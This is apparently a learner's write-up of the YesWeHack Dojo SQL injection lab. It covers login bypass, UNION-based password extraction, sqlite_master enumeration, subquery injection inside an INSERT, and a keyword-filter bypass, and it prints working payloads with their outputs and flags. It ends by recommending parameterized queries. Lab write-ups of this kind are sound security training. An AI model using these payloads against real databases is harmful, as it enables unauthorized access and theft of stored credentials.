SQL Injection - CWE 89 (YesWeHack Dojo)

Introduction
SQL injection has been on the OWASP Top 10 for years — not because developers don't know about it, but because unsanitized user input keeps finding its way into database queries. CWE-89 (Improper Neutralization of Special Elements used in an SQL Command) covers this entire class of vulnerabilities, ranging from simple login bypasses to full database enumeration.
I worked through the YesWeHack Dojo SQL Injection module to build hands-on intuition for how these attacks actually work — not just the theory, but reading how queries transform under injection, adapting when filters push back, and understanding what the database exposes when you ask the right questions.
This writeup covers 5 challenges: login bypass, data exfiltration, schema enumeration, INSERT injection, and filter bypass.
SQL Injection
SQL Injection is an exploit technique used by an attacker to alter the queries made to an SQL database. This can be used to fetch or modify the content of a database. SQL injection are found when an user supplied value is used incorectly in an SQL query. While SQLi are mostly found in web application, they can also be found I any other app using SQL.
Example
Imagine the following php code for a simple admin login.
<?php
include 'db.php';
// Get the password from POST data
\(pass = isset(\)_POST['pass']) ? $_POST['pass'] : "";
\(username = run_query("SELECT username FROM users WHERE username = 'admin' AND password = '\)pass';");
if ($username){
echo "Welcome $username";
}
?>
We can see that an user supplied pass is injected directly inside the query. This really bad practice make your code vulnerable to SQL injection attack.
This is what the actual query look like after the variable substitution:
Now let's look at what happend when we tried to inject some malicious SQL.
- Regular request
SELECT username FROM users WHERE username = 'admin' AND password = 'hunter2';
password: hunter2
- Inject malicious SQL
SELECT username FROM users WHERE username = 'admin' AND password = 'admin' OR 'a'='a';
password: admin' OR 'a'='a
When the $pass is set to **admin' OR 'a'='a**the meaning of query change, this is an injection. Here the attacker completly bypass the password check because of the extra OR true at the end.
But this is not the only thing an attacker can do in this scenario, by using the union feature of SQL it is possible to extract anything from the database.
- Inject UNION
SELECT username FROM users WHERE username = 'admin' AND password = '' UNION SELECT password FROM users WHERE username='admin';
password: ' UNION SELECT password FROM users WHERE username='admin
This time, instead of only fetching the username, the query will also return the password of the admin.
' UNION SELECT password FROM users WHERE email='admin@user.com
Challenges
Simple login Bypass
password: admin' OR 'a'='a
-- return
SELECT
(`password` = 'admin' OR 'a'='a') is_valid_password
FROM users
WHERE username = 'admin'
LIMIT 1;
First exfiltration
Time to recover some data
Bypassing a password check is nice, but being able to read arbitrary data is better.
Try to get the admin password.
Goal: recover the admin password
-- return
SELECT
username, email
FROM users
WHERE email LIKE '%%'
LIMIT 10;
SELECT username FROM users WHERE username = 'admin' AND password = '' UNION SELECT password FROM users WHERE username='admin';
' UNION SELECT email FROM users WHERE username='admin - wrong
Correct
SELECT username, email FROM users
WHERE email LIKE '%' UNION SELECT password, username FROM users WHERE username='admin'-- %' LIMIT 10;
email=' UNION SELECT password, username FROM users WHERE username='admin'--
No LIMIT
Limiting the query
This query should give us the any password, but the limit 0 prevent it.
Can you bypass it ?
Goal: recover the admin password
SELECT password FROM users WHERE username = '' LIMIT 0;
correct
NAME: admin’--
SELECT password FROM users WHERE username = 'admin'--' LIMIT 0;
Exploration
Spelunking the internals
Now that you are able to recover any data, try to explore the database.
There is an hidden table containing a flag, can you find where it is ?
Goal: recover the flag from the hidden table.
SELECT email FROM users WHERE username = '' LIMIT 1;
I tried:
NAME: ' UNION SELECT email FROM users WHERE username='admin
OUTPUT: [{"email":"admin@localhost"}]
NAME: ' UNION SELECT password FROM users WHERE username='admin
OUTPUT: [{"email":"admin"}]
NAME: admin'—
OUTPUT: [{"email":"admin@localhost"}]
hints:
First you need to know which SQL backend the server is using. You can use some database specific function or error message to guess it.
Here the backend is Sqlite. Where is the database schema stored ?
UNIONcan be used to get data from any table.
NAME: ' UNION SELECT name FROM sqlite_master WHERE type='table'--
OUTPUT:
[{"email":"H!dd3n_t4bl3"},
{"email":"users"}]
NAME: ' UNION SELECT sql FROM sqlite_master WHERE name='H!dd3n_t4bl3'--
OUTPUT: [{"email":"CREATE TABLE H!dd3n_t4bl3 (\\n flag text\\n)"}]
last step:
NAME: ' UNION SELECT flag FROM 'H!dd3n_t4bl3'--
OUTPUT: [{"email":"FLAG{56zq8kiwtstw3ethxk55z}"}]
Injection in INSERT
Inserting payloads
Sometimes the injection can occur in an INSERT statement.
Goal: recover the admin password.
-- run
INSERT INTO maillinglist(email, enabled) VALUES ('', TRUE);
SELECT
email, enabled
FROM maillinglist
ORDER BY `rowid` DESC
LIMIT 5;
MAIL: admin' OR 'a'='a’
OUTPUT:
Parse error near line 16: unrecognized token: "'a'', TRUE);
SELECT
email, enabled
FROM maillinglist
ORDER BY `rowid` DESC
LIMIT 5;"
illinglist(email, enabled) VALUES ('admin' OR 'a'='a'', TRUE); SELECT emai
error here ---^
MAIL: 'admin' OR 'a'='a’
OUTPUT:
Parse error near line 16: near "admin": syntax error
NSERT INTO maillinglist(email, enabled) VALUES (''admin' OR 'a'='a'', TRUE);
error here ---^
[{"email":"Clarissa.Vandervort91@yahoo.com","enabled":1},
{"email":"Waylon1@yahoo.com","enabled":0},
{"email":"Leonel.Zieme1@yahoo.com","enabled":1},
{"email":"Andreane49@hotmail.com","enabled":0},
{"email":"Mose.Cruickshank-Cassin69@gmail.com","enabled":0}]
MAIL: admin
OUTPUT:
[{"email":"admin","enabled":1},
{"email":"Clarissa.Vandervort91@yahoo.com","enabled":1},
{"email":"Waylon1@yahoo.com","enabled":1},
{"email":"Leonel.Zieme1@yahoo.com","enabled":1},
{"email":"Andreane49@hotmail.com","enabled":1}]
hints
Can you set enabled to something else ?
Have you heard of nested queries ?
correct:
MAIL: '||(SELECT password FROM users WHERE username='admin')||’
OUTPUT:
[{"email":"FLAG{y06azxph2hi2574ez5937vj}","enabled":1},
{"email":"Clarissa.Vandervort91@yahoo.com","enabled":1},
{"email":"Waylon1@yahoo.com","enabled":0},
{"email":"Leonel.Zieme1@yahoo.com","enabled":0},
{"email":"Andreane49@hotmail.com","enabled":0}]
-- run
INSERT INTO maillinglist(email, enabled) VALUES (''||(SELECT password FROM users WHERE username='admin')||'', TRUE);
SELECT
email, enabled
FROM maillinglist
ORDER BY `rowid` DESC
LIMIT 5;
Filter bypass
Some filter away from SQL injection
Here your input is heavily transformed before being injected into the query. While this make the exploitation more difficult, this shouldn't stop you.
Goal: recover the admin password
Spaces are not the only word separator in SQL.
The password filter is broken; you should be able to bypass it.
SELECT
`username`, `email`
FROM `users`
WHERE `email` = '@company.name'
LIMIT 5;
USER: ' admin
OUTPUT:
Parse error near line 10: near "@company": syntax error
me`, `email` FROM `users` WHERE `email` = ''.admin@company.name' LIMIT 5;
error here ---^
correct
USER: '/**/UNION/**/SELECT/**/passpasswordword,username/**/FROM/**/users/**/WHERE/**/username='admin'--
[{"username":"FLAG{wsnyirm6tg6num849unzf}","email":"admin"}]
SELECT
`username`, `email`
FROM `users`
WHERE `email` = ''/**/union/**/select/**/password,username/**/from/**/users/**/where/**/username='admin'--@company.name'
LIMIT 5;
Across these 5 challenges, a clear pattern emerged: SQL injection is less about memorizing payloads and more about reading how the application transforms your input and working backwards from there.
The filter bypass challenge drove this home hardest. Seeing password silently stripped from the query and reconstructing it as passwpasswordord is the same mental model you'd use against a WAF in the real world: observe the transformation, then craft input that survives it intact.
Key takeaways:
UNION-based injection requires matching column counts. Always check the original SELECT first
SQLite exposes its full schema through
sqlite_masterknowing your backend mattersSubqueries inside INSERT via
||concatenation are a reminder that injection surfaces go beyond WHERE clausesBlacklist filters are fragile a single-pass keyword removal is trivially bypassed with nested keywords or comment-based space alternatives
From a defensive standpoint, all of these vulnerabilities share one root cause: user input being concatenated directly into SQL queries. The fix is consistent use of parameterized queries / prepared statements; no amount of input sanitization or filtering is as reliable.
References:




